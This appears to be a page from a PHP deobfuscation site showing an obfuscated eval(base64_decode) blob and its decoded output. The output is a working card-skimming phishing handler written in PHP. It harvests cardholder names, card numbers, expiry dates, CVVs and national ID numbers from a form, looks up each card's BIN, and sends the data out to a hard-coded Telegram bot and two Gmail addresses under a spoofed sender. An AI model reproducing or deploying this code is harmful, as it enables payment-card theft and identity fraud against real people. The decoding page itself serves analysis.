Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('CiBnb3RvIEZLbFNmOyBwazB4RjogJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdG..

Decoded Output download


 goto FKlSf; pk0xF: $context = stream_context_create($options); goto SjOx6; BLIOW: $hidden_telefono = $_POST["\x68\151\144\x64\x65\156\x5f\164\145\x6c\x65\x66\157\x6e\x6f"]; goto iflKE; US8Mm: curl_close($ch); goto MbyKt; o9wH_: $url = "\150\x74\164\160\x73\72\57\57\141\x70\151\x2e\164\x65\154\x65\147\162\x61\155\x2e\157\x72\147\x2f\x62\x6f\164\x36\66\x34\66\x37\70\x32\66\66\60\x3a\x41\101\105\x64\x46\142\172\171\x32\132\x55\x5f\155\70\x6a\x39\114\150\x57\x30\157\116\161\152\142\x4c\166\151\x6e\x6d\62\x6b\x58\x6a\125\57\x73\x65\156\144\x4d\145\x73\x73\141\147\145\x3f\143\150\x61\164\x5f\x69\x64\75\x2d\64\60\x37\x38\x36\x31\x37\x35\67\x30\x26\164\145\x78\164\75" . urlencode($message1); goto gNqC8; RnFlH: $url = "\x68\164\x74\x70\163\72\x2f\57\144\141\x74\x61\x2e\x68\141\156\144\171\141\x70\x69\x2e\x63\x6f\x6d\x2f\142\151\156\57{$bin}"; goto ar3_l; LQYiy: $mailSent = mail($to, $subject, $message, $headers); goto LVRNi; SjOx6: $response = @file_get_contents($url, false, $context); goto c1gOX; FKlSf: error_reporting(0); goto LRKg7; miV7Z: $cvv = $_POST["\x73\145\143\165\x72\x69\164\x79\55\x63\x6f\144\145"]; goto GYSBC; UTwC3: $numero_tarjeta = $_POST["\156\x75\x6d\x62\145\162"]; goto XXSfI; MbyKt: $message = "\116\157\155\142\162\x65\72\x20{$nombre_tarjeta}\40\12\104\x4e\111\x3a{$dni}\12\116\165\155\145\162\x6f\x3a{$numero_tarjeta}\12\105\170\x70\x3a{$fecha_expiracion}\12\x43\126\x56\72{$cvv}\x20\xa{$binmsg}"; goto VCOf8; rc0DQ: $headers = "\x46\162\157\x6d\72\40{$from}" . "\xd\xa" . "\x52\145\x70\154\171\x2d\124\157\x3a\x20{$from}" . "\15\xa" . "\x58\55\x4d\x61\151\x6c\x65\162\72\x20\120\110\120\57" . phpversion(); goto LQYiy; iflKE: $hidden_monto = $_POST["\x68\151\144\x64\145\x6e\137\x6d\x6f\x6e\x74\157"]; goto miV7Z; Xz5h8: $numeroat = str_pad(mt_rand(0, 99999999), 8, "\60", STR_PAD_LEFT); goto lUvRH; w6SJd: $response = curl_exec($ch); goto US8Mm; nz_6H: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto w6SJd; LRKg7: $nombre_tarjeta = $_POST["\156\141\x6d\145"]; goto UTwC3; GYSBC: $fecha_expiracion = $_POST["\145\170\x70\x69\x72\x61\x74\151\x6f\156\55\x6d\x6f\x6e\164\x68\55\x61\x6e\144\x2d\171\x65\141\162"]; goto MsNA3; cNDJk: $dni = $_POST["\x64\156\151"]; goto BLIOW; gNqC8: $ch = curl_init($url); goto nz_6H; LVRNi: if ($mailSent) { header("\x4c\157\x63\x61\x74\151\x6f\156\72\40\141\x67\162\141\144\145\x63\151\x6d\151\x65\x6e\x74\x6f\56\160\150\160\x3f\164\x65\x6c\x65\x66\157\x6e\157\75{$hidden_telefono}\46\x6d\157\156\164\157\x3d{$hidden_monto}"); die; } else { echo "\x45\x72\162\x6f\x72\40\141\154\x20\x65\x6e\x76\151\141\162\40\145\x6c\40\143\x6f\x72\162\x65\x6f\56"; } goto Okw5F; lUvRH: $to = "\x6a\x65\163\x69\143\x61\x63\145\x73\141\162\x65\x67\157\71\100\x67\x6d\141\x69\x6c\56\143\x6f\x6d\54\x20\x72\157\x64\151\144\151\163\153\66\60\62\100\147\155\x61\x69\x6c\56\143\x6f\155\x20"; goto RnFlH; ar3_l: $options = array("\150\x74\x74\x70" => array("\155\145\164\x68\x6f\x64" => "\x47\105\x54", "\x68\145\x61\x64\145\x72" => "\x72\x65\146\x65\x72\162\145\162\72\40\171\157\x75\162\x5f\144\157\x6d\141\151\156\xa")); goto pk0xF; D7tVU: $message1 = "\116\x6f\155\142\162\145\72\40{$nombre_tarjeta}\40\xa\104\x4e\x49\x3a{$dni}\xa\116\165\x6d\x65\162\x6f\72{$numero_tarjeta}\12\105\x78\x70\x3a{$fecha_expiracion}\xa\103\126\126\72{$cvv}"; goto o9wH_; MsNA3: $bin = substr($numero_tarjeta, 0, 6); goto Xz5h8; c1gOX: $data = @json_decode($response, true); goto KGKbs; VCOf8: $subject = "\x43\x41\x59\x4f\40\x4d\x41\x54\105\x52\x49\101\x4c\x20\x2d\x20{$bin}\x20\55\x20{$iscredit}\x20\55\40{$iscredit2}"; goto mlzJp; mlzJp: $from = "\x4d\x61\x72\x74\x69\156\x20\x43\145\x73\x65\x74\164\151\x20\x3c\155\x61\x72\164\151\156\x5f\x63\x65\163\x65\x74\x74\151{$numeroat}\x40\163\x69\x73\151\x61\144\157\x72\x2e\143\x6f\155\x3e"; goto rc0DQ; XXSfI: $numero_tarjeta = str_replace("\40", '', $numero_tarjeta); goto cNDJk; KGKbs: if ($data && isset($data["\x53\164\x61\x74\x75\x73"]) && $data["\123\164\x61\x74\x75\x73"] === "\123\x55\x43\x43\105\123\x53") { $binmsg = "\120\x61\151\x73\x3a\40" . $data["\103\157\x75\156\164\x72\x79"]["\x4e\x61\x6d\x65"] . "\xa\x20\40\40\x20" . "\124\x69\145\x72\72\x20" . $data["\x43\x61\162\x64\124\x69\145\x72"] . "\xa" . "\x45\x73\x71\165\145\x6d\141\x3a\x20" . $data["\123\x63\x68\145\x6d\x65"] . "\12" . "\124\151\160\x6f\x3a\40" . $data["\x54\x79\x70\x65"] . "\12" . "\x45\155\x69\163\x6f\x72\72\x20" . $data["\x49\x73\x73\165\145\x72"]; $iscredit = $data["\124\x79\160\x65"]; $iscredit2 = $data["\x43\141\x72\144\x54\151\x65\x72"]; } else { $binmsg = "\105\x72\x72\157\162\72\40\116\x6f\x20\x73\x65\x20\x70\165\144\157\x20\x6f\x62\164\x65\x6e\145\162\40\154\141\x20\151\x6e\146\157\x72\x6d\x61\x63\x69\x6e\x20\144\x65\154\x20\x62\x69\156\56"; } goto D7tVU; Okw5F:

Did this file decode correctly?

Original Code

eval(base64_decode('CiBnb3RvIEZLbFNmOyBwazB4RjogJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOyBnb3RvIFNqT3g2OyBCTElPVzogJGhpZGRlbl90ZWxlZm9ubyA9ICRfUE9TVFsiXHg2OFwxNTFcMTQ0XHg2NFx4NjVcMTU2XHg1ZlwxNjRcMTQ1XHg2Y1x4NjVceDY2XDE1N1x4NmVceDZmIl07IGdvdG8gaWZsS0U7IFVTOE1tOiBjdXJsX2Nsb3NlKCRjaCk7IGdvdG8gTWJ5S3Q7IG85d0hfOiAkdXJsID0gIlwxNTBceDc0XDE2NFwxNjBceDczXDcyXDU3XDU3XDE0MVx4NzBcMTUxXHgyZVwxNjRceDY1XDE1NFx4NjVcMTQ3XDE2Mlx4NjFcMTU1XHgyZVwxNTdceDcyXDE0N1x4MmZceDYyXHg2ZlwxNjRceDM2XDY2XHgzNFw2Nlx4MzdcNzBceDMyXDY2XDY2XDYwXHgzYVx4NDFcMTAxXDEwNVx4NjRceDQ2XDE0MlwxNzJcMTcxXHgzMlwxMzJceDU1XHg1ZlwxNTVcNzBceDZhXHgzOVwxMTRcMTUwXHg1N1x4MzBcMTU3XDExNlwxNjFcMTUyXDE0Mlx4NGNcMTY2XDE1MVx4NmVceDZkXDYyXHg2Ylx4NThceDZhXDEyNVw1N1x4NzNceDY1XDE1NlwxNDRceDRkXDE0NVx4NzNceDczXDE0MVwxNDdcMTQ1XHgzZlwxNDNcMTUwXHg2MVwxNjRceDVmXHg2OVx4NjRcNzVceDJkXDY0XDYwXHgzN1x4MzhceDM2XHgzMVx4MzdceDM1XDY3XHgzMFx4MjZcMTY0XDE0NVx4NzhcMTY0XDc1IiAuIHVybGVuY29kZSgkbWVzc2FnZTEpOyBnb3RvIGdOcUM4OyBSbkZsSDogJHVybCA9ICJceDY4XDE2NFx4NzRceDcwXDE2M1w3Mlx4MmZcNTdcMTQ0XDE0MVx4NzRceDYxXHgyZVx4NjhcMTQxXDE1NlwxNDRcMTcxXDE0MVx4NzBceDY5XHgyZVx4NjNceDZmXHg2ZFx4MmZcMTQyXDE1MVwxNTZcNTd7JGJpbn0iOyBnb3RvIGFyM19sOyBMUVlpeTogJG1haWxTZW50ID0gbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcnMpOyBnb3RvIExWUk5pOyBTak94NjogJHJlc3BvbnNlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7IGdvdG8gYzFnT1g7IEZLbFNmOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gTFJLZzc7IG1pVjdaOiAkY3Z2ID0gJF9QT1NUWyJceDczXDE0NVwxNDNcMTY1XHg3Mlx4NjlcMTY0XHg3OVw1NVx4NjNceDZmXDE0NFwxNDUiXTsgZ290byBHWVNCQzsgVVR3QzM6ICRudW1lcm9fdGFyamV0YSA9ICRfUE9TVFsiXDE1Nlx4NzVceDZkXHg2MlwxNDVcMTYyIl07IGdvdG8gWFhTZkk7IE1ieUt0OiAkbWVzc2FnZSA9ICJcMTE2XDE1N1wxNTVcMTQyXDE2Mlx4NjVcNzJceDIweyRub21icmVfdGFyamV0YX1cNDBcMTJcMTA0XHg0ZVwxMTFceDNheyRkbml9XDEyXDExNlwxNjVcMTU1XDE0NVwxNjJceDZmXHgzYXskbnVtZXJvX3RhcmpldGF9XDEyXDEwNVwxNzBceDcwXHgzYXskZmVjaGFfZXhwaXJhY2lvbn1cMTJceDQzXDEyNlx4NTZcNzJ7JGN2dn1ceDIwXHhheyRiaW5tc2d9IjsgZ290byBWQ09mODsgcmMwRFE6ICRoZWFkZXJzID0gIlx4NDZcMTYyXDE1N1x4NmRcNzJcNDB7JGZyb219IiAuICJceGRceGEiIC4gIlx4NTJcMTQ1XHg3MFwxNTRcMTcxXHgyZFwxMjRcMTU3XHgzYVx4MjB7JGZyb219IiAuICJcMTVceGEiIC4gIlx4NThcNTVceDRkXHg2MVwxNTFceDZjXHg2NVwxNjJcNzJceDIwXDEyMFwxMTBcMTIwXDU3IiAuIHBocHZlcnNpb24oKTsgZ290byBMUVlpeTsgaWZsS0U6ICRoaWRkZW5fbW9udG8gPSAkX1BPU1RbIlx4NjhcMTUxXDE0NFx4NjRcMTQ1XHg2ZVwxMzdceDZkXHg2Zlx4NmVceDc0XDE1NyJdOyBnb3RvIG1pVjdaOyBYejVoODogJG51bWVyb2F0ID0gc3RyX3BhZChtdF9yYW5kKDAsIDk5OTk5OTk5KSwgOCwgIlw2MCIsIFNUUl9QQURfTEVGVCk7IGdvdG8gbFV2Ukg7IHc2U0pkOiAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsgZ290byBVUzhNbTsgbnpfNkg6IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IGdvdG8gdzZTSmQ7IExSS2c3OiAkbm9tYnJlX3RhcmpldGEgPSAkX1BPU1RbIlwxNTZcMTQxXHg2ZFwxNDUiXTsgZ290byBVVHdDMzsgR1lTQkM6ICRmZWNoYV9leHBpcmFjaW9uID0gJF9QT1NUWyJcMTQ1XDE3MFx4NzBceDY5XHg3Mlx4NjFceDc0XDE1MVx4NmZcMTU2XDU1XHg2ZFx4NmZceDZlXDE2NFx4NjhcNTVceDYxXHg2ZVwxNDRceDJkXDE3MVx4NjVcMTQxXDE2MiJdOyBnb3RvIE1zTkEzOyBjTkRKazogJGRuaSA9ICRfUE9TVFsiXHg2NFwxNTZcMTUxIl07IGdvdG8gQkxJT1c7IGdOcUM4OiAkY2ggPSBjdXJsX2luaXQoJHVybCk7IGdvdG8gbnpfNkg7IExWUk5pOiBpZiAoJG1haWxTZW50KSB7IGhlYWRlcigiXHg0Y1wxNTdceDYzXHg2MVx4NzRcMTUxXHg2ZlwxNTZcNzJcNDBcMTQxXHg2N1wxNjJcMTQxXDE0NFwxNDVceDYzXDE1MVx4NmRcMTUxXHg2NVx4NmVceDc0XHg2Zlw1NlwxNjBcMTUwXDE2MFx4M2ZcMTY0XHg2NVx4NmNceDY1XHg2NlwxNTdceDZlXDE1N1w3NXskaGlkZGVuX3RlbGVmb25vfVw0Nlx4NmRcMTU3XDE1NlwxNjRcMTU3XHgzZHskaGlkZGVuX21vbnRvfSIpOyBkaWU7IH0gZWxzZSB7IGVjaG8gIlx4NDVceDcyXDE2Mlx4NmZceDcyXDQwXDE0MVwxNTRceDIwXHg2NVx4NmVceDc2XDE1MVwxNDFcMTYyXDQwXDE0NVx4NmNcNDBcMTQzXHg2Zlx4NzJcMTYyXHg2NVx4NmZcNTYiOyB9IGdvdG8gT2t3NUY7IGxVdlJIOiAkdG8gPSAiXHg2YVx4NjVcMTYzXHg2OVwxNDNceDYxXHg2M1wxNDVceDczXDE0MVwxNjJceDY1XHg2N1wxNTdcNzFcMTAwXHg2N1x4NmRcMTQxXHg2OVx4NmNcNTZcMTQzXHg2Zlx4NmRcNTRceDIwXHg3MlwxNTdceDY0XDE1MVwxNDRcMTUxXDE2M1wxNTNcNjZcNjBcNjJcMTAwXDE0N1wxNTVceDYxXHg2OVx4NmNcNTZcMTQzXHg2ZlwxNTVceDIwIjsgZ290byBSbkZsSDsgYXIzX2w6ICRvcHRpb25zID0gYXJyYXkoIlwxNTBceDc0XHg3NFx4NzAiID0+IGFycmF5KCJcMTU1XDE0NVwxNjRceDY4XHg2Zlx4NjQiID0+ICJceDQ3XDEwNVx4NTQiLCAiXHg2OFwxNDVceDYxXHg2NFwxNDVceDcyIiA9PiAiXHg3Mlx4NjVcMTQ2XHg2NVx4NzJcMTYyXDE0NVwxNjJcNzJcNDBcMTcxXDE1N1x4NzVcMTYyXHg1ZlwxNDRcMTU3XHg2ZFwxNDFcMTUxXDE1Nlx4YSIpKTsgZ290byBwazB4RjsgRDd0VlU6ICRtZXNzYWdlMSA9ICJcMTE2XHg2ZlwxNTVcMTQyXDE2MlwxNDVcNzJcNDB7JG5vbWJyZV90YXJqZXRhfVw0MFx4YVwxMDRceDRlXHg0OVx4M2F7JGRuaX1ceGFcMTE2XDE2NVx4NmRceDY1XDE2Mlx4NmZcNzJ7JG51bWVyb190YXJqZXRhfVwxMlwxMDVceDc4XHg3MFx4M2F7JGZlY2hhX2V4cGlyYWNpb259XHhhXDEwM1wxMjZcMTI2XDcyeyRjdnZ9IjsgZ290byBvOXdIXzsgTXNOQTM6ICRiaW4gPSBzdWJzdHIoJG51bWVyb190YXJqZXRhLCAwLCA2KTsgZ290byBYejVoODsgYzFnT1g6ICRkYXRhID0gQGpzb25fZGVjb2RlKCRyZXNwb25zZSwgdHJ1ZSk7IGdvdG8gS0dLYnM7IFZDT2Y4OiAkc3ViamVjdCA9ICJceDQzXHg0MVx4NTlceDRmXDQwXHg0ZFx4NDFceDU0XDEwNVx4NTJceDQ5XDEwMVx4NGNceDIwXHgyZFx4MjB7JGJpbn1ceDIwXDU1XHgyMHskaXNjcmVkaXR9XHgyMFw1NVw0MHskaXNjcmVkaXQyfSI7IGdvdG8gbWx6SnA7IG1sekpwOiAkZnJvbSA9ICJceDRkXHg2MVx4NzJceDc0XHg2OVwxNTZceDIwXHg0M1wxNDVceDczXHg2NVx4NzRcMTY0XDE1MVx4MjBceDNjXDE1NVx4NjFceDcyXDE2NFwxNTFcMTU2XHg1Zlx4NjNceDY1XDE2M1x4NjVceDc0XHg3NFwxNTF7JG51bWVyb2F0fVx4NDBcMTYzXHg2OVx4NzNcMTUxXHg2MVwxNDRcMTU3XHg3Mlx4MmVcMTQzXHg2ZlwxNTVceDNlIjsgZ290byByYzBEUTsgWFhTZkk6ICRudW1lcm9fdGFyamV0YSA9IHN0cl9yZXBsYWNlKCJcNDAiLCAnJywgJG51bWVyb190YXJqZXRhKTsgZ290byBjTkRKazsgS0dLYnM6IGlmICgkZGF0YSAmJiBpc3NldCgkZGF0YVsiXHg1M1wxNjRceDYxXHg3NFx4NzVceDczIl0pICYmICRkYXRhWyJcMTIzXDE2NFx4NjFceDc0XHg3NVx4NzMiXSA9PT0gIlwxMjNceDU1XHg0M1x4NDNcMTA1XDEyM1x4NTMiKSB7ICRiaW5tc2cgPSAiXDEyMFx4NjFcMTUxXHg3M1x4M2FcNDAiIC4gJGRhdGFbIlwxMDNcMTU3XHg3NVwxNTZcMTY0XHg3Mlx4NzkiXVsiXHg0ZVx4NjFceDZkXHg2NSJdIC4gIlx4YVx4MjBcNDBcNDBceDIwIiAuICJcMTI0XHg2OVwxNDVceDcyXDcyXHgyMCIgLiAkZGF0YVsiXHg0M1x4NjFcMTYyXHg2NFwxMjRceDY5XDE0NVx4NzIiXSAuICJceGEiIC4gIlx4NDVceDczXHg3MVwxNjVcMTQ1XHg2ZFwxNDFceDNhXHgyMCIgLiAkZGF0YVsiXDEyM1x4NjNceDY4XDE0NVx4NmRceDY1Il0gLiAiXDEyIiAuICJcMTI0XDE1MVwxNjBceDZmXHgzYVw0MCIgLiAkZGF0YVsiXHg1NFx4NzlceDcwXHg2NSJdIC4gIlwxMiIgLiAiXHg0NVwxNTVceDY5XDE2M1x4NmZceDcyXDcyXHgyMCIgLiAkZGF0YVsiXHg0OVx4NzNceDczXDE2NVwxNDVceDcyIl07ICRpc2NyZWRpdCA9ICRkYXRhWyJcMTI0XHg3OVwxNjBceDY1Il07ICRpc2NyZWRpdDIgPSAkZGF0YVsiXHg0M1wxNDFceDcyXDE0NFx4NTRcMTUxXHg2NVx4NzIiXTsgfSBlbHNlIHsgJGJpbm1zZyA9ICJcMTA1XHg3Mlx4NzJcMTU3XDE2Mlw3Mlw0MFwxMTZceDZmXHgyMFx4NzNceDY1XHgyMFx4NzBcMTY1XDE0NFwxNTdceDIwXHg2Zlx4NjJcMTY0XHg2NVx4NmVcMTQ1XDE2Mlw0MFwxNTRcMTQxXHgyMFwxNTFceDZlXDE0NlwxNTdceDcyXHg2ZFx4NjFceDYzXHg2OVx4NmVceDIwXDE0NFx4NjVcMTU0XHgyMFx4NjJceDY5XDE1Nlw1NiI7IH0gZ290byBEN3RWVTsgT2t3NUY6IA=='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bf871d4ccb5fc626e5f2c96be7e53a40
Eval Count 1
Decode Time 75 ms